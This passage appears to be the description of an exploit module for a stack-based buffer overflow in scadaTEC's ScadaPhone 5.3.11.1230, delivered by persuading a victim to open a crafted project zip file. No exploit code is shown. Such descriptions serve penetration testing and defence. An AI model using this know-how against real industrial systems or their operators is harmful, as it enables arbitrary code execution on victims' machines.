                    This module exploits a stack-based buffer overflow vulnerability in
                version 5.3.11.1230 of scadaTEC's ScadaPhone.
 
                In order for the command to be executed, an attacker must convince someone to
                load a specially crafted project zip file with ScadaPhone.
                By doing so, an attacker can execute arbitrary code as the victim user.
